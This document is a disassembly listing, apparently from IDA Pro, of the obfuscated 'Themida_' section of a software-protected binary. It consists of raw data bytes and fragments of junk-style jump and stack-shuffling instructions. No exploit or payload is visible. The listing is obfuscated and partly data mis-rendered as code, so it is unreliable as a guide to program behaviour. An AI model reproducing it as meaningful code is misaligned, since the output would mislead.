		dd 4C4815Ah, 0D1000000h, 0C6834EE6h, 0CDF68101h, 3106AFD3h
		dd 2434FFF0h, 4C4835Eh,	6511E952h, 3C33FFFFh, 243C3124h
		dd 8B243C33h, 0C7812424h, 4, 2C781h, 3C330000h,	243C3124h
		dd 0E9243C33h, 0FFFFA17Fh, 4C481h, 0C3810000h, 4, 4EC81h
		dd 0AE90000h, 57FFFFF8h, 1E986851h, 81594E47h, 7ECA75E9h
		dd 0E9CF89DCh, 0FFFFF9BAh, 5DACCD81h, 0B8500730h, 0B804A048h
		dd 0FFE9C501h
		db 0F2h, 0FEh, 0FFh
byte_56F523	db 0ACh			; DATA XREF: Themida_:0055E00Co
		dd 16E9132Ch, 5F000012h, 5C24048Fh, 22A9E9h, 5EE95300h
		dd 29FFFEEDh, 1E03E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F542:				; CODE XREF: Themida_:00560CEDj
		add	ebp, ecx
		pop	ecx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_567F82
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 0E924148Bh, 0C12h
; ---------------------------------------------------------------------------


loc_56F558:				; CODE XREF: Themida_:00572A55j
		mov	[esp], edi
		push	4173h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563C90
; ---------------------------------------------------------------------------


loc_56F575:				; CODE XREF: Themida_:00570953j
		push	edi
		jmp	loc_55E44C
; ---------------------------------------------------------------------------
		db 81h
		dd 0CFF778C6h, 5EF029FFh, 94A2B52Dh, 8BC501CBh,	0C4812404h
		dd 4, 5102C583h, 0C181E189h, 4,	8704E983h, 895C240Ch, 74FF242Ch
		dd 40E90424h, 66FFFEEDh, 665EF029h, 0E91BEE2Dh,	0FFFFD186h
		dd 31240C33h, 0C33240Ch, 0C2D1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F5CE:				; CODE XREF: Themida_:00571FC9j
		xchg	edi, [esp]
		pop	esp
		add	esi, 4
		push	ecx
		jmp	loc_56FDAF
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4A30F24h, 0B4E99C24h, 31FFFEEAh, 0B9515DEBh,	328D1442h
		dd 0FFCF2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F5F9:				; CODE XREF: Themida_:0056DC22j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	641Dh
		mov	[esp], esi
		mov	esi, 55372701h
		and	esi, 20AE5FB7h
		sub	esi, 2606FDh
		push	ebp
		mov	ebp, 7B46412Ah
		not	ebp
		and	ebp, 36217705h
		jmp	loc_56DC98
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F1E9241Ch, 68FFFF6Eh, 2E84h, 0FF9C35E9h, 81E289FFh
		dd 4C2h, 3929E900h
		db 2 dup(0FFh)
word_56F64E	dw 478Fh		; DATA XREF: Themida_:0055DE00o
		dd 738BE940h, 3C8BFFFFh, 4C48324h, 5106EDC1h, 99D399B9h
		dd 29E0E974h, 0EC830000h, 2FD9E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F672:				; CODE XREF: Themida_:0056B684j
		mov	[esp], ecx
		mov	ecx, 2F236CD8h
		push	577Dh
		mov	[esp], ebp
		mov	ebp, 37A3E1Bh
		xor	ecx, ebp
		pop	ebp
		and	ecx, 154726DDh
		jmp	loc_56D21F
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0D1h
		dd 9EE681E6h, 0E9034525h, 0FFFFDC94h, 8BE8295Bh, 0C483242Ch
		dd 3C5C0504h, 0BAE9691Ch, 55FFFF74h, 4BDh, 26BAE900h, 0CA88FFFFh
		dd 83240C8Bh, 285B04C4h, 305A66D0h, 0B423E9C3h,	0E8B8FFFFh
		dd 50137260h, 0F7243487h, 0AE956D6h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F6E7:				; CODE XREF: Themida_:0056548Ej
		xchg	ebx, [esp]
		jmp	loc_566088
; ---------------------------------------------------------------------------
byte_56F6EF	db 0ADh			; DATA XREF: Themida_:0055DFDCo
		dd 0B66A4F2Dh, 62122D57h, 0D8293D24h, 24621205h, 4EC813Dh
		dd 89000000h, 16BA2414h, 5100D56Ah, 45079EB9h, 5F1817Bh
		dd 0F757EF00h, 4FBE56D1h, 0C16C661Ch, 0E907EEh,	81000000h
		dd 0D78D0DC6h, 0E9F12902h, 0FFFF2E0Ch, 4EA835Dh, 0FFEF15E9h
		dd 243489FFh, 0FF07EEE9h, 9AED81FFh, 0FF542B38h, 815E2434h
		dd 4C4h, 2BB5300h, 0E9000000h, 0FFFFF5B0h, 0F64706BBh
		dd 5BDE29E9h, 89E9F501h, 5FFFFF58h, 0FEFF51E9h,	55DA01FFh
		dd 7B4E64BDh, 3DF5815Ch, 0F7368C78h, 45EDD1DDh,	129BC581h
		dd 2AE924C0h, 52000020h, 0ED369ABAh, 62EA8113h,	813BC25Fh
		dd 9660CBF2h, 6FEA8119h, 0E9B0D090h, 0FFFF690Eh, 815F5457h
		dd 4C7h, 0B508E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F7C2:				; CODE XREF: Themida_:0056ECC5j
		mov	ax, [esp]
		jmp	loc_57261C
; ---------------------------------------------------------------------------
		db 58h
		dd 351DA62Dh, 58C28942h, 191CE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F7DA:				; CODE XREF: Themida_:00569EC0j
		mov	edi, 4E2317E3h
		jmp	loc_570E6E
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFF08A0h, 4FF5343h, 0D58FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F7F6:				; CODE XREF: Themida_:0056B085j
		mov	ecx, esp
		jmp	loc_56383E
; ---------------------------------------------------------------------------
byte_56F7FD	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055DFFCo
		dd 8124048Bh, 4C4h, 0E2895200h,	0FFAC25E9h, 243C31FFh
		dd 0E9243C33h, 0FFFF1980h, 4246C81h, 13CC7CA5h,	4247401h
		dd 4244481h, 13CC7CA5h,	0B96CE95Eh, 0C709FFFFh,	0CDE78158h
		dd 0C1133A44h, 0C78106EFh, 1B505E63h, 15FFA29h,	1CD3E9D7h
		dd 5450FFFFh, 0E92434FFh, 72Bh
dword_56F85C	dd 0FF3C77FFh, 68582434h, 7D5Eh, 0E9242C89h, 0FFFF62E1h
					; DATA XREF: Themida_:0055DF04o
; ---------------------------------------------------------------------------


loc_56F870:				; CODE XREF: Themida_:00566B8Bj
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_565EC0
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 29664D7Dh, 7D0566F0h, 0C787E94Dh, 0A005FFFFh, 57241B3Bh
		dd 137C14BFh, 4E7C11Eh,	0E781D7F7h, 761E2382h, 0E60FB951h
		dd 0CF29B778h, 5FF82959h, 0FFB2A0E9h, 241487FFh, 0FFBBDFE9h
		dd 0E8835AFFh, 0B783E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F8CE:				; CODE XREF: Themida_:0056067Dj
		mov	ecx, 5A2613ABh
		push	eax
		mov	eax, 671C34F3h
		add	ecx, eax
		jmp	loc_562A7B
; ---------------------------------------------------------------------------


loc_56F8E0:				; CODE XREF: Themida_:00566B95j
		pop	edx
		jmp	loc_56C487
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2E47E924h, 0E289FFFFh, 41BD68h, 242C8900h, 1059D0BDh
		dd 6E5C136h, 26E95051h,	5DFFFF6Fh, 104C483h, 8AE952CFh
		dd 0B100001Ch, 287AB4B3h, 7227E9CCh
		db 2 dup(0FFh)
word_56F91E	dw 8B66h		; DATA XREF: Themida_:0055DE38o
		dd 0AE68240Ch, 89000068h, 168241Ch, 0E9000005h,	0FFFF69D8h
		dd 0B050C2FEh, 7E8C0D0h, 4C2CE50Ch, 0FF8E99E9h,	24048FFFh
		dd 5424248Bh, 0E924048Fh, 0FFFFC797h, 31240C33h, 0C33240Ch
		dd 70E95C24h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F963:				; CODE XREF: Themida_:005666E9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_56644D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 2474FF52h, 48F5A04h,	68665C24h, 896664B0h, 0B450240Ch
		dd 5F7AE946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F98E:				; CODE XREF: Themida_:005703C5j
		mov	ebx, 124A2355h
		and	ebx, 5D310184h
		xor	ebx, 459E2006h
		sub	ebx, 0DDD68A5h
		jmp	loc_569790
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 0FFBC82E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F9B1:				; CODE XREF: Themida_:00563009j
		dec	eax
		neg	eax
		jmp	loc_56095F
; ---------------------------------------------------------------------------


loc_56F9B9:				; CODE XREF: Themida_:005664BCj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_55F91C
; ---------------------------------------------------------------------------
		dw 525Ah
		dd 4D1AE1BAh, 5AD60130h, 0FFAB40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F9D9:				; CODE XREF: Themida_:00563705j
		not	eax
		jmp	loc_55FC8D
; ---------------------------------------------------------------------------
		dd 49568h, 24148900h, 0C2815A54h, 4, 2F3768h, 24048900h
		dd 268h, 24048B00h, 104C483h, 0E95658C2h, 0FFFF6ECAh, 4245C01h
		dd 81241C8Bh, 4C4h, 0C5815D00h,	4, 0E3CEE950h, 1489FFFFh
		dd 0E9DE8824h, 0FFFFA23Bh, 5704EBC1h, 0FF875FE9h, 4B2068FFh
		dd 815B3951h, 154232F3h, 5CEB8172h, 0F7630930h,	5242E9D3h
		dd 0E089FFFFh, 405h, 4E88300h, 2474FF50h, 48F5804h, 1C895C24h
		dd 4EC8324h, 1BE9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56FA71:				; CODE XREF: Themida_:0056BD10j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56CD3D
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	2D3Ah
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 8B73B8Ch
		neg	edi
		shl	edi, 8
		jmp	loc_57035C
; ---------------------------------------------------------------------------


loc_56FAA7:				; CODE XREF: Themida_:0056E519j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_56ABF6
; ---------------------------------------------------------------------------


loc_56FAD0:				; CODE XREF: Themida_:0056B774j
		mov	ebp, edx
		pop	edx
		jmp	loc_569D2A
; ---------------------------------------------------------------------------


loc_56FAD8:				; CODE XREF: Themida_:00562A5Cj
		mov	[esp], eax
		mov	eax, 44C23AE8h
		xor	esi, eax
		pop	eax
		add	esi, 0B3833E74h
		push	esi
		jmp	loc_568DE8
; ---------------------------------------------------------------------------
		db 0B8h
		dd 44033201h, 5558C321h, 248ABBDh, 0E9DDF707h, 0FFFF2B60h
		dd 0E924048Bh, 27DBh, 4C281h, 14870000h, 0DDDBE924h, 0F921FFFFh
		dd 0FF7600E9h, 2C383FFh, 31241C33h, 24E9241Ch, 56FFFF8Eh
		dd 0C681E689h, 4, 8704C683h, 505C2434h,	4B8h, 87C58100h
		dd 0E934E967h, 1E1Ch
; ---------------------------------------------------------------------------


loc_56FB50:				; CODE XREF: Themida_:0056AAA2j
		pop	esp
		mov	[esp], esi
		mov	esi, 5DAA0116h
		add	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5625B2
; ---------------------------------------------------------------------------


loc_56FB67:				; CODE XREF: Themida_:0055E6FFj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5675C6
; ---------------------------------------------------------------------------


loc_56FB84:				; CODE XREF: Themida_:0056702Fj
		add	bl, al
		jmp	loc_55F1D4
; ---------------------------------------------------------------------------


loc_56FB8B:				; CODE XREF: Themida_:0056D01Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 59C66D60h
		jmp	loc_570BC2
; ---------------------------------------------------------------------------
		dw 0DA09h
		dd 6EAC15Bh, 0D47E9h
		db 0
; ---------------------------------------------------------------------------


loc_56FBA9:				; CODE XREF: Themida_:00568F53j
		push	5946h
		jmp	loc_56972C
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C4h, 3C8B5C24h, 4C48124h, 53000000h, 4DE16857h
		dd 815F7BCAh, 0C934DDF7h, 650AE958h, 0EA81FFFFh, 0F20748F0h
		dd 447D68h, 0C851E900h,	1C89FFFFh, 13D8E924h, 0BE560000h
		dd 776810FEh, 0C681DEF7h, 4D211709h, 0F681D6F7h, 6310B9CAh
		dd 815EF709h, 795BD2E7h, 32C78179h, 81A68EBEh, 0C27366E9h
		dd 81F90122h, 0C27366C1h, 243C8B22h, 0E904C483h, 0FFFF19BEh
		dd 3EDAF181h, 0E1813A79h, 12B84554h, 38ACE181h,	0E9490BC1h
		dd 0FFFFE244h, 3C8BF831h, 4C48324h, 6B2BE56h, 0EE811797h
		dd 4011533Ch, 0A1E9D6F7h, 68FFFF91h, 5838h, 0FF5417E9h
		dd 2434FFFFh, 4C4835Fh,	0B85EF789h, 61C272Bh, 34FFF831h
		dd 243C8B24h, 4C481h, 54570000h, 0FF78D9E9h, 4C481FFh
		dd 0E9000000h, 0FFFEE407h, 0EC835F5Ah, 240C8904h, 0E61B5EB9h
		dd 0BDC18170h, 0C17A6913h, 0B85005E9h, 5D76F042h, 0FFA224E9h
		dd 57C201FFh, 0D25D79BFh, 47EFD102h, 259CEF81h,	0EF810E29h
		dd 8B5CD075h, 585FFA29h, 0FF54D9E9h, 0A3BA52FFh, 0E9176D3Ah
		dd 0FFFFA903h, 0C672E958h, 5551FFFFh, 9E388A68h, 242C8B6Dh
		dd 8104C483h, 0F90DABE5h, 4BF5812Ah, 897DB053h,	0CB215DE9h
		dd 5DE95259h
		db 91h,	2 dup(0FFh)
byte_56FD0F	db 0ADh			; DATA XREF: Themida_:0055DEF0o
		dd 0B951D831h, 4F8C620Eh, 7AC668h, 24148900h, 6C0868h
		dd 240C8900h, 0FFE368E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FD2D:				; CODE XREF: Themida_:0056B420j
		add	ebx, 588C449Dh
		sub	ebx, esi
		sub	ebx, 588C449Dh
		push	dword ptr [esp]
		jmp	loc_567A05
; ---------------------------------------------------------------------------
		db 81h
		dd 9559ECF3h, 0E9DBF757h, 0FFFF8CC9h, 1B51C581h, 0EB89202Fh
		dd 81242C8Bh, 4C4h, 245C2900h, 241C8B04h, 4C481h, 4810000h
		dd 0D70C9124h, 0E325E938h, 0C380FFFEh, 8CEB80DAh, 0FF5ADDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FD85:				; CODE XREF: Themida_:00566671j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_56406C
; ---------------------------------------------------------------------------
		dw 295Fh
		dd 7E30E9C8h, 3C89FFFFh, 65C46824h, 0C2E91037h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FDAF:				; CODE XREF: Themida_:0056F5D9j
		mov	ecx, 2
		jmp	loc_572A67
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 69h
		dd 0E936A26Ah, 0FFFFA430h, 815FFB01h, 134990EBh, 81F30106h
		dd 134990C3h, 0A1EB8106h, 5E614303h, 5C241C87h,	5C24048Fh
		dd 558168h, 241C8900h, 0E9D58851h, 0FFFFA8C9h, 8904EC83h
		dd 57562404h, 6B32B7BFh, 81DFF707h, 455805E7h, 88C78127h
		dd 89F561FAh, 9A84E9FEh, 4B9FFFFh, 29000000h, 2C8759CDh
		dd 0C895C24h, 6778B924h, 68490C8Bh, 57B1h, 53241489h, 0A161F2BBh
		dd 39F38178h, 8963E471h, 0BD555BDAh, 4ABB5E9Dh,	0FF9E17E9h
		dd 87E95EFFh, 89FFFF15h, 34E92404h, 57FFFFC8h, 42474FFh
		dd 24048F5Fh, 0FF24248Bh, 0C8B2434h, 4C48324h, 6BE868h
		dd 241C8900h, 643468h, 1F9E6800h, 8F540000h, 4832404h
		dd 48F0424h, 24048124h,	4, 0FFAD34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FE99:				; CODE XREF: Themida_:005694EBj
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_55ED68
; ---------------------------------------------------------------------------
		db 68h,	37h, 7
		dd 3C890000h, 2C1E6824h, 24890000h, 7C76E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FEBE:				; CODE XREF: Themida_:00570C65j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5705CD
; ---------------------------------------------------------------------------


loc_56FEDA:				; CODE XREF: Themida_:0056D77Cj
		mov	[esp], esp
		jmp	loc_56285A
; ---------------------------------------------------------------------------


loc_56FEE2:				; CODE XREF: Themida_:00562E3Fj
		add	bl, al
		sub	bl, 13h
		sub	bl, 39h
		sub	bl, 5
		sub	esp, 4
		jmp	loc_55FB57
; ---------------------------------------------------------------------------
		dd 770D17BDh, 5DEA013Fh, 3E74C281h, 86E95EE1h, 58FFFF8Ah
		dd 6804C483h, 30h, 0BA241489h, 2, 4DC0B850h, 0E8C119C6h
		dd 0DD8F706h, 4B0D62FBh, 0B50D542Dh, 0AE4D356Bh, 0C101A02Ch
		dd 56E98158h, 164F57Eh,	0E766E9D1h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FF46:				; CODE XREF: Themida_:0056311Bj
		sub	esi, 2C335275h
		and	esi, 377E076Bh
		neg	esi
		add	esi, 9704365Ah
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55FB0D
; ---------------------------------------------------------------------------


loc_56FF68:				; CODE XREF: Themida_:0057232Dj
		add	edi, ecx
		push	3EF2h
		mov	[esp], ecx
		push	ebp
		push	601A7B5Ah
		jmp	loc_564922
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0B9E95F04h, 8BFFFF43h, 0C4832404h, 4302E904h, 0E951FFFFh
		dd 0FFFEF939h, 0FFE9D529h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FF9F:				; CODE XREF: Themida_:00560087j
		add	edi, 720E5A59h
		pop	ebp
		push	ecx
		jmp	loc_5622AE
; ---------------------------------------------------------------------------


loc_56FFAC:				; CODE XREF: Themida_:00566F62j
		mov	ebp, 65AE0BDFh
		jmp	loc_560D89
; ---------------------------------------------------------------------------


loc_56FFB6:				; CODE XREF: Themida_:00571817j
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_56B0A7
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 71E90000h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5692D3
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5355D3F7h, 0FFD84DE9h, 24048FFFh, 6424248Bh,	0E9028966h
		dd 0FFFEE0ABh, 2C38359h, 5C241C87h, 5C9B68h, 105EE900h
		dd 6168FFFFh, 0E930FE76h, 0FFFF32FEh
; ---------------------------------------------------------------------------


loc_570010:				; CODE XREF: Themida_:00565F3Fj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_572521
; ---------------------------------------------------------------------------
byte_57002B	db 66h			; DATA XREF: Themida_:0055DDF0o
		dd 6824048Bh, 20Dh, 68241489h, 74A4h, 24048F54h, 4B951h
		dd 4C010000h, 8B590424h, 54522414h, 8324148Bh
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56E415
; ---------------------------------------------------------------------------


loc_570067:				; CODE XREF: Themida_:0056A2A8j
		add	edi, ecx
		add	edi, 2B27199h
		pop	ecx
		jmp	loc_564886
; ---------------------------------------------------------------------------


loc_570075:				; CODE XREF: Themida_:00571AB8j
		mov	ecx, esi
		pop	esi
		add	ecx, 0F393F13Dh
		jmp	loc_55FA55
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB8001EBh, 51D300F8h, 0CB00F8B1h, 13B05059h, 0FFAB17E9h
		dd 81DAF7FFh, 0BE6079C2h, 0E9D6313Bh, 0FFFFF922h, 53242489h
		dd 6FC7BE56h, 0DEF72BD9h, 73E9CE81h, 4E4E2CF1h,	0F3F3EE81h
		dd 0F389FCF7h, 0F942E95Eh, 0F581FFFFh, 3535215Eh, 242C8155h
		dd 57402F84h, 84C7815Fh, 8B57402Fh, 98E9242Ch, 66FFFF30h
		dd 34240481h, 0BA9E900h
		db 2 dup(0)
word_5700F2	dw 8B66h		; DATA XREF: Themida_:0055DE98o
		dd 0B2E92404h, 81FFFF4Ah, 4C1h,	4C18100h, 0E9000000h, 106Ch
; ---------------------------------------------------------------------------


loc_57010C:				; CODE XREF: Themida_:0056A820j
		pop	ebp
		jmp	loc_56E486
; ---------------------------------------------------------------------------


loc_570112:				; CODE XREF: Themida_:005692CEj
		dec	ecx
		xchg	eax, ecx
		jmp	loc_55EEE6
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0EDh
		dd 0E9D5F7FFh, 0FFFF68C2h
; ---------------------------------------------------------------------------


loc_570124:				; CODE XREF: Themida_:0055FC1Aj
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_567612
; ---------------------------------------------------------------------------


loc_570136:				; CODE XREF: Themida_:0056620Ej
		add	esp, 4
		and	ecx, eax
		pop	eax
		shr	ecx, 7
		push	edx
		jmp	loc_55EDC2
; ---------------------------------------------------------------------------
		db 35h,	0Bh, 2Dh
		dd 0D8F731C9h, 24E9D0F7h, 66FFFEF6h, 0EC81D1F7h, 4, 81243C89h
		dd 4ECh, 20A4E900h, 89500000h, 405E0h, 4050000h, 0E9000000h
		dd 0FFFFA3DEh
; ---------------------------------------------------------------------------


loc_57017C:				; CODE XREF: Themida_:005672A0j
		sub	edx, 9B19ECE2h
		jmp	loc_565F14
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+9520h
		align 4
		dd 0FFA2F8E9h, 4EC83FFh, 0BD242C89h, 7E2A5C07h,	0E95DEA01h
		dd 1C43h, 0FEDEF6E9h, 76EF81FFh, 8122A122h, 6BA3CDF7h
		dd 0E9F80163h, 0FFFF8123h, 56D5F75Eh, 0F1247DBEh, 8BF529F6h
		dd 0C4832434h, 5DEA2904h, 0E5D3F281h, 5D528B01h, 5DEF015Ah
		dd 5704C783h, 42474FFh,	24048F5Fh, 0FF24248Bh, 0E99C2404h
		dd 0FFFEDEABh, 5A2434FFh, 0FF1D75E9h, 37BA68FFh, 76E90000h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570207:				; CODE XREF: Themida_:0056D16Cj
		push	ebp
		mov	ebp, 96D40C6h
		xor	ebp, 445875F7h
		add	eax, ebp
		pop	ebp
		pop	edx
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_56207D
; ---------------------------------------------------------------------------
		db 4, 39h, 4
		dd 2AF1E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570232:				; CODE XREF: Themida_:00568B05j
		add	edx, 8BE8BF36h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, 5C4B5F9Fh
		jmp	loc_56CAF1
; ---------------------------------------------------------------------------
aSs_1		db '[!Ðéé',9,0
		dd 0F5B15100h, 0FF9DC1E9h, 0C4815DFFh, 4, 4C581h, 0C5810000h
		dd 4, 2474FF55h, 48F5D04h, 24248B24h, 0FEDE1EE9h, 43BA52FFh
		dd 81685E66h, 40338E2h,	0F2816Ch, 89680402h, 2434FFD3h
		dd 1631E95Ah, 0E955FFFFh, 0FFFFFC54h, 44FB68h, 24348900h
		dd 0FF45BDE9h, 14875FFFh, 0C39BE924h, 34FFFFFFh, 240C8B24h
		dd 4C481h, 0C4830000h, 0BFF18104h, 81731F72h, 5A7E7AE1h
		dd 62BB532Eh, 310D0C87h, 0CE895BD9h, 51240C8Bh,	0C181E189h
		dd 4, 0FF46ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5702F1:				; CODE XREF: Themida_:0055FA35j
		mov	ebx, 2EFE7AFDh
		xor	ebp, ebx
		pop	ebx
		add	ebx, 69FD37DEh
		jmp	loc_561C3E
; ---------------------------------------------------------------------------
		dd 4C4835Fh, 0F93E9h
		db 0
; ---------------------------------------------------------------------------


loc_57030D:				; CODE XREF: Themida_:0056E2B5j
		mov	edx, ecx
		jmp	loc_570E01
; ---------------------------------------------------------------------------


loc_570314:				; CODE XREF: Themida_:00562441j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56B745
; ---------------------------------------------------------------------------
byte_570329	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055DE84o
		dd 411589Dh, 68E99C24h,	5FFFFEDDh, 98C7815Fh, 2972E214h
		dd 98EF81C7h, 5872E214h, 5EE9FE01h, 81FFFF9Fh, 159504F7h
		dd 0E9FA010Dh, 0FFFF8BA2h
; ---------------------------------------------------------------------------


loc_57035C:				; CODE XREF: Themida_:0056FAA2j
		sub	edi, 48C473FCh
		jmp	loc_562B4E
; ---------------------------------------------------------------------------
		db 52h
		dd 0EE80A2B6h, 5AF128A8h, 59CB28h, 7C380CBh, 0E952C380h
		dd 0FFFF72BCh
dword_570380	dd 9D1C77FFh, 14D25966h, 10E99C24h, 0BFFFFEDDh,	4, 21E9FD01h
					; DATA XREF: Themida_:0055DFCCo
		dd 5CFFFFD6h, 8904EC83h, 0BA52242Ch, 5EAC1251h,	0FF05A9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703AD:				; CODE XREF: Themida_:005614D8j
		add	ecx, 5F196CEDh
		add	ecx, edi
		sub	ecx, 5F196CEDh
		jmp	loc_571E3D
; ---------------------------------------------------------------------------


loc_5703C0:				; CODE XREF: Themida_:0055F905j
		neg	ebp
		neg	ebp
		push	ebx
		jmp	loc_56F98E
; ---------------------------------------------------------------------------


loc_5703CA:				; CODE XREF: Themida_:005714D9j
		push	esp
		jmp	loc_5703F5
; ---------------------------------------------------------------------------
		dd 1244486h, 8852D0F6h,	24448AC2h, 0EC77E905h, 0D6BFFFFEh
		dd 8157FB11h, 0FB11D2F7h, 5FF90157h, 0FFB3EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5703F5:				; CODE XREF: Themida_:005703CBj
		pop	eax
		push	edx
		push	ebx
		mov	ebx, 361976C1h
		jmp	loc_56BC1F
; ---------------------------------------------------------------------------


loc_570402:				; CODE XREF: Themida_:0056D61Fj
		push	edi
		jmp	loc_569616
; ---------------------------------------------------------------------------


loc_570408:				; CODE XREF: Themida_:005654E2j
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5640F0
; ---------------------------------------------------------------------------
		db 89h
		dd 6866240Ch, 89665577h, 5BB3241Ch, 0FF5494E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57043D:				; CODE XREF: Themida_:00569CA7j
		mov	[esp], edx
		mov	edx, 15114F85h
		sub	edx, 0FFFFFFFFh
		shl	edx, 5
		jmp	loc_5673A3
; ---------------------------------------------------------------------------


loc_570450:				; CODE XREF: Themida_:0056E8F1j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8704E883h, 895C2404h, 0F1B9240Ch,	4101D906h, 6F0E981h
		dd 0BE5601D9h, 6DF131C8h, 0FF833AE9h, 24348BFFh, 4C481h
		dd 48F0000h, 48F5C24h, 24248B24h, 9C240CD3h, 0FEDC02E9h
		db 0FFh
byte_57049D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DF2Co
		dd 7F9E6824h, 4890000h,	0DFE95324h, 8BFFFFCBh, 0BBE92424h
		dd 8BFFFEE4h, 57092424h, 24148B1Ch, 5E08950h, 4, 8704C083h
		dd 0E95C2404h, 0FFFEDBCBh, 5204C483h, 0BA685A54h, 89000056h
		dd 0C8B82404h, 0E96EBE0Eh, 0FFFF2064h, 0C7FE5866h, 0F780C7FEh
		dd 5BF800EFh, 6866D800h, 89665893h, 60B22414h, 8685B753h
		dd 86D1F6CFh, 0E9DFF6CFh, 0FFFEDE81h, 66C8305Ah, 52C0FE59h
